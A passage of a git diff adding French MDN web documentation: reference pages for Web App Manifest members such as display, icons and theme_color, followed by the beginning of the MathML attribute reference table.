+<p>Spécifie la direction du texte pour le nom, le nom court et les membres de description. Ensemble avec le membre lang, il peut aider à afficher correctement les langues de droite à gauche.</p>
+
+<pre class="brush: json notranslate"><span class="key token">"dir":</span> <span class="string token">"rtl"</span><span class="punctuation token">,</span>
+<span class="key token">"lang":</span> <span class="string token">"ar"</span><span class="punctuation token">,</span>
+<span class="key token">"short_name":</span> <span class="string token">"أنا من التطبيق!"</span></pre>
+
+<p>Il peut contenir l'une des valeurs suivantes :</p>
+
+<ul>
+ <li><font face="Consolas">ltr</font> (de gauche à droite)</li>
+ <li><code>rtl</code> (de droite à gauche)</li>
+ <li><code>auto</code> (conseille au navigateur d'utiliser l'algorithme bidirectionnel Unicode pour mieux comprendre la direction du texte.)</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> si la valeur est omise, c'est auto par défaut.</p>
+</div>
+
+<h3 id="display"><code>display</code></h3>
+
+<p>Définit le mode d'affichage préféré du développeur pour l'application web.</p>
+
+<pre class="brush: json notranslate"><span class="key token">"display":</span> <span class="string token">"standalone"</span></pre>
+
+<p>Les valeurs valides sont :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Mode d'affichage</th>
+   <th scope="col">Description</th>
+   <th scope="col">Affichage de rattrapage</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>Toute la zone d'affichage disponible est utilisée et aucun agent utilisateur {{Glossary("chrome")}} n'est montré.</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>L'application va ressembler à une application autonome et se comporter comme telle. Cela peut inclure que l'application ait une fenêtre différente, sa propre icône dans le lanceur d'applications, etc. Dans ce mode, l'agent utilisateur va exclure les élements d'interface qui permettent de contrôler la navigation mais peut inclure d'autres éléments comme une barre de statut.</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>L'application va ressembler et se comporter comme une application autonome, mais elle aura quelques élements d'interface permettant de contrôler la navigation. Les éléments varient en fonction du navigateur web.</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>L'application s'ouvre dans un nouvel onglet ou une nouvelle fenêtre du navigateur, en fonction du navigateur et de la plateforme. C'est la valeur par défaut.</td>
+   <td>(None)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez appliquer les CSS de manière séléctive pour votre application en fonction du mode d'affichage en utilisant  la fonction <a href="/docs/Web/CSS/@media/display-mode">display-mode</a>. Cela peut être utilisé pour fournir une expérience utilisateur cohérente entre le lancement à partir d'une URL et le lancement à partir d'une icône de bureau.</p>
+</div>
+
+<h3 id="icons"><code>icons</code></h3>
+
+<p>Un ensemble d'images qui peuvent servir d'icônes pour l'application dans différents contextes. Par exemple, elles peuvent être utilisées pour réprésenter l'application web dans une liste d'autres applications, ou pour intégrer l'application web dans les tâches d'un OS et/ou dans les préférences du système.</p>
+
+<pre class="brush: json notranslate">"icons": [
+  {
+    "src": "icon/lowres.webp",
+    "sizes": "48x48",
+    "type": "image/webp"
+  },{
+    "src": "icon/lowres",
+    "sizes": "48x48"
+  },{
+    "src": "icon/hd_hi.ico",
+    "sizes": "72x72 96x96 128x128 256x256"
+  },{
+    "src": "icon/hd_hi.svg",
+    "sizes": "72x72",
+    "density": 2
+  }]</pre>
+
+<p>Les objets image peuvent contenir les valeurs suivantes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Membre</p>
+   </th>
+   <th scope="col">
+    <p>Description</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><span style="display: none;"> </span> </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>Une chaîne de caractères contenant les dimensions des images, séparées par des espaces. </td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>Le chemin du fichier image. Si <font face="Consolas">src </font>est une URL relative, l'URL de base sera celle du manifeste.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>Indication concernant le type de média de l'image. L'objectif de ce membre est de permettre à l'agent utilisateur d'ignorer les images des types de média qu'il ne supporte pas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="lang"><code>lang</code></h3>
+
+<p>Définit la langue principale pour les valeurs des membres <code>name</code> et <code>short_name</code>. Cette valeur est une chaîne de caractères contenant une balise de langue unique</p>
+
+<pre class="brush: json notranslate">"lang": "fr"</pre>
+
+<h3 id="name"><code>name</code></h3>
+
+<p>Fournit un nom pour l'application, lisible pour un humain, car il est destiné à être affiché à l'utilisateur, par exemple parmi une liste d'autres applications ou comme étiquette d'une icône.</p>
+
+<pre class="brush: json notranslate">"name": "Google I/O 2017" </pre>
+
+<h3 id="orientation"><code>orientation</code></h3>
+
+<p>Définit l'orientation par défaut pour tout le premier niveau d'applications web {{Glossary("Browsing context", "browsing contexts")}}.</p>
+
+<pre class="brush: json notranslate">"orientation": "portrait-primary"</pre>
+
+<p>L'orientation peut être l'une des valeurs suivantes:</p>
+
+<ul>
+ <li><code>any</code></li>
+ <li><code>natural</code></li>
+ <li><code>landscape</code></li>
+ <li><code>landscape-primary</code></li>
+ <li><code>landscape-secondary</code></li>
+ <li><code>portrait</code></li>
+ <li><code>portrait-primary</code></li>
+ <li><code>portrait-secondary</code></li>
+</ul>
+
+<h3 id="prefer_related_applications"><code>prefer_related_applications</code></h3>
+
+<p>Une valeur boléenne qui indique à l'agent utilisateur si une application liée doit être préférée à l'application web. Cela ne devrait être utilisé que si les applications natives concernées offrent vraiment quelque chose que l'application Web ne peut pas faire.</p>
+
+<pre class="brush: json notranslate">"prefer_related_applications": "false"</pre>
+
+<div class="note">
+<p><strong>Note : </strong>Si elle est omise, la valeur par défaut est "false".</p>
+</div>
+
+<h3 id="related_applications"><code>related_applications</code></h3>
+
+<p>Spécifie un ensemble d'objets d'application représentant des applications natives installables par la plate-forme sous-jacente ou accessibles à cette plate-forme, par exemple une application Android native pouvant être obtenue via Google Play Store. De telles applications sont destinées à être des alternatives à l'application Web qui fournissent une fonctionnalité similaire ou équivalente, comme la version native de l'application Web.</p>
+
+<pre class="brush: json notranslate">"related_applications": [
+  {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
+    "id": "com.example.app1"
+  }, {
+    "platform": "itunes",
+    "url": "https://itunes.apple.com/app/example-app1/id123456789",
+  }]</pre>
+
+<p>Les objets d'application peuvent contenir les valeurs suivantes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Membre</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>platform</code></td>
+   <td>La plateforme sur laquelle l'application peut être trouvée.</td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>L'URL à laquelle l'application peut être trouvée.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>L'ID utilisé pour représenter l'application sur la plateforme spécifiée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scope"><code>scope</code></h3>
+
+<p>Definit le "scope" de navigation du contexte applicatif de cette application web. Ceci limite essentiellement les pages Web pouvant être visualisées pendant que le manifeste est appliqué. Si l'utilisateur navigue en dehors du "scope" de l'application, il revient à une page Web normale.</p>
+
+<p>Si le "scope" est une URL relative, l'URL de base est celle du manifeste.</p>
+
+<pre class="brush: json notranslate">"scope": "/myapp/"</pre>
+
+<h3 id="short_name"><code>short_name</code></h3>
+
+<p>Un nom court pour l'application web, compréhensible pour un humain. Il est destiné à être utilisé quand il n'y a pas suffisamment de place disponible pour afficher le nom complet de l'application.</p>
+
+<pre class="brush: json notranslate">"short_name": "I/O 2017"
+</pre>
+
+<h3 id="start_url"><code>start_url</code></h3>
+
+<p>Spécifie l'URL qui se charge lorsque l'utilisateur lance une application à partir d'un périphérique. Si elle est donnée comme une URL relative, l'URL de base sera celle du manifeste</p>
+
+<pre class="brush: json notranslate">"start_url": "./?utm_source=web_app_manifest"</pre>
+
+<h3 id="theme_color"><code>theme_color</code></h3>
+
+<p>Définit la couleur du thème par défaut pour une application. Cela affecte parfois la façon dont l'application est affichée par le système d'exploitation (par exemple, sur le commutateur de tâches d'Android, la couleur du thème entoure l'application).</p>
+
+<pre class="brush: json notranslate">"theme_color": "aliceblue"</pre>
+
+<h2 id="Splash_screens">Splash screens</h2>
+
+<p>Dans Chrome 47 et supérieur, un écran de lancement (<em>splashscreen</em>) est affiché pour une appplication lancée depuis l'écran d'accueil. Cet écran est généré automatiquement en utilisant les propriétés du manifeste de l'application web, particulièrement: <code>name</code>, <code>background_color</code>, et l'icône du tableau `icons`qui est la plus proche de 128dp pour l'appareil.</p>
+
+<h2 id="Mime_type">Mime type</h2>
+
+<p>Les manifestes doivent être servies en utilisant l'<font face="Consolas">application/manifest+json</font> MIME type. Cependant, c'est facultatif.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Manifest')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>32.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>background_color</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}<sup><font size="2">[1]</font></sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>theme_color</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}}<sup><font size="2">[1]</font></sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>icons</code>, <code>name</code>, <code>short_name</code>, and <code>theme_color</code> used for <a href="https://support.mozilla.org/t5/Other/How-to-add-a-shortcut-to-a-website-on-Android/ta-p/21992"><u><font color="#0066cc">Add to home screen</font></u></a> feature.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}<sup><font size="2">[2]</font></sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>display</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(47)}}<sup><font size="2">[3]</font></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div></div>
+
+<p>[1] Ne supportent pas <code>lang</code>, <code>scope</code>, or <code>splash_screens</code>.</p>
+
+<p>[2] Les champs <font face="Consolas">icons</font>, <code>name</code>, <code>short_name</code>, et <code>theme_color </code>of the <u><font color="#0066cc">Web App Manifest </font></u>(si présent) peut maintenant être la source des icônes, titres,  couleur des écrans d'accueil des fenêtres des applications avec,"Add to home screen" (Firefox Mobile only; see {{bug("1234558")}}). Un support expérimental pour cette fonctionnalité est disponible derrière le drapeau booléen (boolean flag)  <font face="Consolas">manifest.install.enabled </font>dans <code>about:config</code>.</p>
+
+<p>[3] <span id="result_box" lang="fr"><span>Seule la valeur de l'affichage du navigateur a été prise en charge dans la version 47. Dans Firefox 57, on a ajouté </span></span><font face="Consolas">minimal-ui</font>, <code>standalone</code> , and <code>fullscreen.</code></p>
diff --git a/files/fr/web/manifest/theme_color/index.html b/files/fr/web/manifest/theme_color/index.html
new file mode 100644
index 0000000000..a8af8d9781
--- /dev/null
+++ b/files/fr/web/manifest/theme_color/index.html
@@ -0,0 +1,70 @@
+---
+title: theme_color
+slug: Web/Manifest/theme_color
+translation_of: Web/Manifest/theme_color
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Manifest")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Obligatoire</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Exemple</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"theme_color": "red"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le champ <code>theme_color</code> est une chaîne de caractères qui défini la couleur du thème par défaut de l'application. Cela peut parfois affecter la manière dont l'OS affiche le site (e.g., avec la bare des tâches sous Android, la couleur du thème entoure le site).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: json">"theme_color": "red"
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenttaire</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#theme_color-member', 'theme_color')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.theme_color")}}</p>
diff --git a/files/fr/web/mathml/attribute/index.html b/files/fr/web/mathml/attribute/index.html
new file mode 100644
index 0000000000..405e9d15ff
--- /dev/null
+++ b/files/fr/web/mathml/attribute/index.html
@@ -0,0 +1,484 @@
+---
+title: Référence des attributs MathML
+slug: Web/MathML/Attribute
+tags:
+  - MathML
+  - 'MathML:Référence'
+translation_of: Web/MathML/Attribute
+---
+<div>{{MathMLRef}}</div>
+
+<div></div>
+
+<p>Cette référence est une liste, dans l'ordre alphabétique, des attributs MathML. De plus amples détails sur chaque attribut sont disponibles sur les pages des <a href="/fr/docs/MathML/Element" title="/fr/docs/MathML/Element">éléments</a>.</p>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li>Les éléments MathML {{ MathMLElement("mstyle") }} et {{ MathMLElement("math") }} {{ gecko_minversion_inline("7.0") }} acceptent tous les attributs de tous les éléments de présentations MathML.</li>
+ <li>Voir les <a href="/fr/docs/MathML/Attributes/Values" title="/en-US/docs/MathML/Attributes/Values">valeurs</a> pour des notes sur les valeurs et les unités utilisées en MathML.</li>
+ <li>Les attributs <code>background</code>, <code>color</code>, <code>fontfamily</code>, <code>fontsize</code>, <code>fontstyle</code>, <code>fontweight</code> et <code>xlink:href</code> sont dépréciés.</li>
+ <li>Les attributs <a href="/fr/docs/Glossaire/XLink">XLink</a> <code>xlink:actuate</code>, <code>xlink:href</code>, <code>xlink:show</code> et <code>xlink:type</code> sur les éléments MathML sont dépréciés.</li>
+</ul>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Éléments pouvant utiliser cet attribut</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr id="accent">
+   <td><code>accent</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}</td>
+   <td>Un booléen définissant si oui ou non l'opérateur doit être traité comme un accent.</td>
+  </tr>
+  <tr id="accentunder">
+   <td><code>accentunder</code></td>
+   <td>{{ MathMLElement("munder") }}, {{ MathMLElement("munderover") }}</td>
+   <td>Un booléen définissant si oui ou non l'opérateur doit être traité comme un accent.</td>
+  </tr>
+  <tr id="actiontype">
+   <td><code>actiontype</code></td>
+   <td>{{ MathMLElement("maction") }}</td>
+   <td>Une chaîne de caractère définissant l'action se produisant pour cet élément.</td>
+  </tr>
+  <tr id="align">
+   <td><code>align</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mtable") }}<br>
+    {{ MathMLElement("munder") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}<br>
+    {{ MathMLElement("mstack") }}</td>
+   <td>Définit les différents alignements de plusieurs éléments (consulter les pages des éléments pour plus de détails).</td>
+  </tr>
+  <tr id="alignmentscope">
+   <td>{{ unimplemented_inline() }} <code>alignmentscope</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Un booléen définissant si oui ou non les colonnes d'un tableau doivent définir la portée de l'alignement.</td>
+  </tr>
+  <tr id="alt-*">
+   <td>{{ unimplemented_inline() }}<br>
+    <code>altimg</code><br>
+    <code>altimg-width</code><br>
+    <code>altimg-height</code><br>
+    <code>altimg-valign</code><br>
+    <code>alttext</code></td>
+   <td>{{ MathMLElement("math") }}</td>
+   <td>Alternatives visuelles et textuelles.</td>
+  </tr>
+  <tr id="bevelled">
+   <td><code>bevelled</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mfrac") }}</td>
+   <td>Définit la manière dont la fraction est affichée.</td>
+  </tr>
+  <tr id="charalign">
+   <td>{{ unimplemented_inline() }} <code>charalign</code></td>
+   <td>{{ MathMLElement("mstack") }}</td>
+   <td>Définit l'alignement horizontal des chiffres.</td>
+  </tr>
+  <tr id="close">
+   <td><code>close</code></td>
+   <td>{{ MathMLElement("mfenced") }}</td>
+   <td>Une chaîne de caractère pour le symbole fermant.</td>
+  </tr>
+  <tr id="columnalign">
+   <td><code>columnalign</code></td>
+   <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}, {{ MathMLElement("mlabeledtr") }}</td>
+   <td>Définit l'alignement horizontal des cellules d'un tableau.</td>
+  </tr>
+  <tr id="columnlines">
+   <td><code>columnlines</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit les bordures des colonnes d'un tableau.</td>
+  </tr>
+  <tr id="columnspacing">
+   <td>{{ unimplemented_inline() }} <code>columnspacing</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit l'espace entre les colonnes d'un tableau.</td>
+  </tr>
+  <tr id="columnspan">
+   <td><code>columnspan</code></td>
+   <td>{{ MathMLElement("mtd") }}</td>
+   <td>Un entier positif qui indique sur combien de colonnes s'étend une cellule d'un tableau.</td>
+  </tr>
+  <tr id="columnwidth">
+   <td>{{ unimplemented_inline() }} <code>columnwidth</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit la largeur des colonnes d'un tableau.</td>
+  </tr>
+  <tr id="crossout">
+   <td>{{ unimplemented_inline() }} <code>crossout</code></td>
+   <td>{{ MathMLElement("mscarry") }}</td>
+   <td>Définit le type de ligne à afficher pour rayer les retenues.</td>
+  </tr>
+  <tr id="decimalpoint">
+   <td>{{ unimplemented_inline() }} <code>decimalpoint</code></td>
+   <td>{{ MathMLElement("mstyle") }}</td>
+   <td>Si la valeur <code>decimalpoint</code> est utilisée pour définir l'<a href="/fr/docs/Web/MathML/Attribute#align">alignement</a>, cet attribut définit la caractère sur lequel aligner les colonnes des éléments {{ MathMLElement("mstack") }} et {{ MathMLElement("mtable") }}.</td>
+  </tr>
+  <tr id="denomalign">
+   <td><code>denomalign</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mfrac") }}</td>
+   <td>L'alignement du dénominateur sous la fraction.</td>
+  </tr>
+  <tr id="depth">
+   <td><code>depth</code></td>
+   <td>{{ MathMLElement("mpadded") }}</td>
+   <td>Définit ou incrément la profondeur. Voir <a href="/fr/docs/MathML/Attributes/Values" title="/en-US/docs/MathML/Attributes/Values">longueur</a>.</td>
+  </tr>
+  <tr id="dir">
+   <td><code>dir</code></td>
+   <td>{{ MathMLElement("math") }}, {{ MathMLElement("mi") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("mrow") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+   <td>La direction du texte. Les valeurs possibles sont : ltr (<em>left to right</em> pour gauche à droite) ou rtl (<em>right to left</em> pour droite à gauche).</td>
+  </tr>
+  <tr id="display">
+   <td><code>display</code></td>
+   <td>{{ MathMLElement("math") }}</td>
+   <td>Définit le mode d'affichage. Les valeurs <code>block</code> et <code>inline</code> sont autorisées.</td>
+  </tr>
+  <tr id="displaystyle">
+   <td><code>displaystyle</code></td>
+   <td>{{ MathMLElement("mstyle") }}, {{ MathMLElement("mtable") }}</td>
+   <td>Un booléen indiquant si oui ou non plus d'espace vertical sera utilisé pour afficher les équations. S'il vaut <code>false</code>, l'affichage sera organisé de manière plus compacte.</td>
+  </tr>
+  <tr id="edge">
+   <td>{{ unimplemented_inline() }} <code>edge</code></td>
+   <td>{{ MathMLElement("malignmark") }}</td>
+   <td></td>
+  </tr>
+  <tr id="equalcolumns">
+   <td>{{ unimplemented_inline() }} <code>equalcolumns</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Un booléen indiquant si oui ou non les colonnes doivent avoir la même hauteur totale.</td>
+  </tr>
+  <tr id="equalrows">
+   <td>{{ unimplemented_inline() }} <code>equalrows</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Un booléen indiquant si oui ou non les lignes doivent avoir la même hauteur totale.</td>
+  </tr>
+  <tr id="fence">
+   <td><code>fence</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Un booléen indiquant si oui ou non l'opérateur clôture l'expression (comme les parenthèses). Il n'y a pas d'effet visuel associé à cet attribut.</td>
+  </tr>
+  <tr id="form">
+   <td>{{ unimplemented_inline() }} <code>form</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Définit le rôle de l'opérateur dans une expression groupée.</td>
+  </tr>
+  <tr id="frame">
+   <td><code>frame</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit toutes les bordures d'un élément {{ MathMLElement("mtable") }}. Les valeurs possibles sont : <code>none</code> (la valeur par défaut), <code>solid</code> et <code>dashed</code>.</td>
+  </tr>
+  <tr id="framespacing">
+   <td>{{ unimplemented_inline() }} <code>framespacing</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit l'espace à ajouter entre le tableau et la <code>frame</code>.</td>
+  </tr>
+  <tr id="groupalign">
+   <td>{{ unimplemented_inline() }} <code>groupalign</code></td>
+   <td>{{ MathMLElement("maligngroup") }}, {{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
+   <td></td>
+  </tr>
+  <tr id="height">
+   <td><code>height</code></td>
+   <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td>
+   <td>Définit la hauteur souhaitée. Voir les <a href="/fr/docs/MathML/Attributes/Values" title="/fr/docs/MathML/Attributes/Values">longueurs</a> pour les différentes valeurs possibles.</td>
+  </tr>
+  <tr id="href">
+   <td><code>href</code></td>
+   <td><em>Tous</em></td>
+   <td>Utiliser pour créer un hyperlien vers un URI donné.</td>
+  </tr>
+  <tr id="id">
+   <td><code>id</code></td>
+   <td><em>Tous</em></td>
+   <td>Définit un identifiant unique associé à l'élément.</td>
+  </tr>
+  <tr id="indentalign">
+   <td>{{ unimplemented_inline() }} <code>indentalign</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indentalignfirst">
+   <td>{{ unimplemented_inline() }} <code>indentalignfirst</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indentalignlast">
+   <td>{{ unimplemented_inline() }} <code>indentalignlast</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indentshift">
+   <td>{{ unimplemented_inline() }} <code>indentshift</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indentshiftfirst">
+   <td>{{ unimplemented_inline() }} <code>indentshiftfirst</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indentshiftlast">
+   <td>{{ unimplemented_inline() }} <code>indentshiftlast</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="indenttarget">
+   <td>{{ unimplemented_inline() }} <code>indenttarget</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="infixlinebreakstyle">
+   <td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td>
+   <td>{{ MathMLElement("mstyle") }}</td>
+   <td>Définit le <code>linebreakstyle</code> par défaut à utiliser avec les opérateurs affixes.</td>
+  </tr>
+  <tr id="largeop">
+   <td><code>largeop</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Définit si oui ou non l'opérateur doit être affiché avec une taille plus grande que la normale</td>
+  </tr>
+  <tr id="length">
+   <td><code>length</code></td>
+   <td>{{ MathMLElement("msline") }}</td>
+   <td></td>
+  </tr>
+  <tr id="linebreak">
+   <td>{{ unimplemented_inline() }} <code>linebreak</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="linebreakmultchar">
+   <td>{{ unimplemented_inline() }} <code>linebreakmultchar</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="linebreakstyle">
+   <td>{{ unimplemented_inline() }} <code>linebreakstyle</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="lineleading">
+   <td>{{ unimplemented_inline() }} <code>lineleading</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+   <td></td>
+  </tr>
+  <tr id="linethickness">
+   <td><code>linethickness</code></td>
+   <td>{{ MathMLElement("mfrac") }}</td>
+   <td>L'épaisseur de la ligne de fraction horizontale.</td>
+  </tr>
+  <tr id="location">
+   <td>{{ unimplemented_inline() }} <code>location</code></td>
+   <td>{{ MathMLElement("mscarries") }}</td>
+   <td></td>
+  </tr>
+  <tr id="longdivstyle">
+   <td>{{ unimplemented_inline() }} <code>longdivstyle</code></td>
+   <td>{{ MathMLElement("mlongdiv") }}</td>
+   <td>Contrôle la mise en forme d'une division longue.</td>
+  </tr>
+  <tr id="lspace">
+   <td><code>lspace</code></td>
+   <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mpadded") }}</td>
+   <td>Le nombre d'espaces avant l'opérateur (voir les <a href="/fr/docs/MathML/Attributes/Values" title="/fr/docs/MathML/Attributes/Values">longueurs</a> pour les différentes valeurs possibles).</td>
+  </tr>
+  <tr id="lquote">
+   <td><code>lquote</code></td>
+   <td>{{ MathMLElement("ms") }}</td>
+   <td>Le caractère de début de citation (selon <code>dir</code>) encadrant le contenu. La valeur par défaut est "<code>&amp;quot;</code>".</td>
+  </tr>
+  <tr id="mathbackground">
+   <td><code>mathbackground</code></td>
+   <td><em>Tous</em></td>
+   <td>La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</td>
+  </tr>
+  <tr id="mathcolor">
+   <td><code>mathcolor</code></td>
+   <td><em>Tous</em></td>
